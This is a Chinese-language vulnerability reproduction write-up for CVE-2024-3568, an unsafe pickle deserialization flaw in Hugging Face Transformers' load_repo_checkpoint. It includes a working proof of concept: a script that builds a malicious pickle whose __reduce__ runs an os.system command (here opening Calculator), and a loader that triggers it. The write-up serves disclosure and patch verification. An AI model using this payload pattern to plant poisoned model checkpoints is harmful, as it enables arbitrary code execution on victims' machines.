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update CVE-2024-3568
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# Huggingface Transformers Checkpoint 反序列化漏洞 CVE-2024-3568
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## 漏洞描述
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CVE-2024-3568 是 Huggingface 的 Transformers 库中存在的一个反序列化漏洞,该漏洞源于 `TFPreTrainedModel()` 类的 `load_repo_checkpoint()` 函数在反序列化未经信任的数据时,使用了不安全的 `pickle.load()` 方法。攻击者可以通过构造恶意的序列化负载,诱使受害者在正常的训练过程中加载看似无害的检查点,从而在目标机器上执行任意代码,导致远程代码执行。
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此漏洞的利用方式可能包括供应链投毒,即攻击者在模型数据中插入恶意构造的数据,利用反序列化过程触发恶意代码执行。这类攻击的危险性在于,受害者将在不知情的情况下加载被篡改的模型 checkpoint,导致攻击者在其系统上执行任意代码。
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参考链接:
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- https://github.com/advisories/GHSA-37q5-v5qm-c9v8
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- https://github.com/huggingface/transformers/commit/693667b8ac8138b83f8adb6522ddaf42fa07c125
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- https://huntr.com/bounties/b3c36992-5264-4d7f-9906-a996efafba8f
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## 披露时间
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```
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2024.02.03
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```
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## 漏洞影响
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```
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transformers < 4.38.0
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```
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## 环境搭建
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基于 python 3.9 创建一个虚拟环境,需要安装指定的版本的 `tensorflow`、`transformers`、`keras`,否则可能报兼容性错误:
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```shell
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# 创建工作目录
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mkdir CVE-2024-3568 && cd CVE-2024-3568
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# 使用 Python 3.9 创建新的 venv
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python3.9 -m venv venv
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source venv/bin/activate
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# 安装兼容的 TensorFlow 版本
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pip install --upgrade pip
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pip install tensorflow==2.15 transformers==4.37.2 keras==2.15
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```
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登录 Huggingface 获取 AccessToken,`huggingface-cli` 登录:
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```
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> huggingface-cli login
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Enter your token (input will not be visible): xxxxxxxxx
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```
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目录结构:
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```
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CVE-2024-3568
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├── awesome_poc
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│ └── checkpoint
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│ ├── extra_data.pickle
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│ └── weights.h5
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├── generate_payload.py
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├── poc.py
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└── venv
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```
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通过 `generate_payload.py` 生成 `extra_data.pickle` 和 `weights.h5`:
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- `extra_data.pickle`:序列化的元数据文件,模型加载时会使用 `pickle.load()` 加载这个文件。
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- `weights.h5`:模型权重文件,与模型架构对应,否则将抛出异常。
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```python
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import pickle
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import os
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from transformers import TFAutoModel
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class CExecute:
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def __reduce__(self):
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import os
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cmd = 'open /System/Applications/Calculator.app'
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return (os.system,(cmd,))
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poc = CExecute()
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with open('awesome_poc/checkpoint/extra_data.pickle', 'wb') as fp:
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pickle.dump(poc,fp)
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# Generate weights.h5
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model = TFAutoModel.from_pretrained('google-bert/bert-base-uncased')
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model.save_weights(os.path.join('awesome_poc', 'weights.h5'))
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```
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## 漏洞复现
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在 `pickle` 反序列化的过程中,会调用对象的 `__reduce__` 方法,此时将会执行我们写入的命令 `open /System/Applications/Calculator.app`。
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通过 `poc.py` 模拟模型训练,加载带有恶意命令的 `checkpoint`:
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```python
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from transformers import TFAutoModel
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from tensorflow.keras.optimizers import Adam
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model = TFAutoModel.from_pretrained('bert-base-uncased')
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model.compile(optimizer=Adam(learning_rate=5e-5), loss='sparse_categorical_crossentropy', metrics=['accuracy'])
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model.load_repo_checkpoint('awesome_poc')
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```
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## 漏洞修复
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- 升级 transformers 至最新版本 https://github.com/huggingface/transformers
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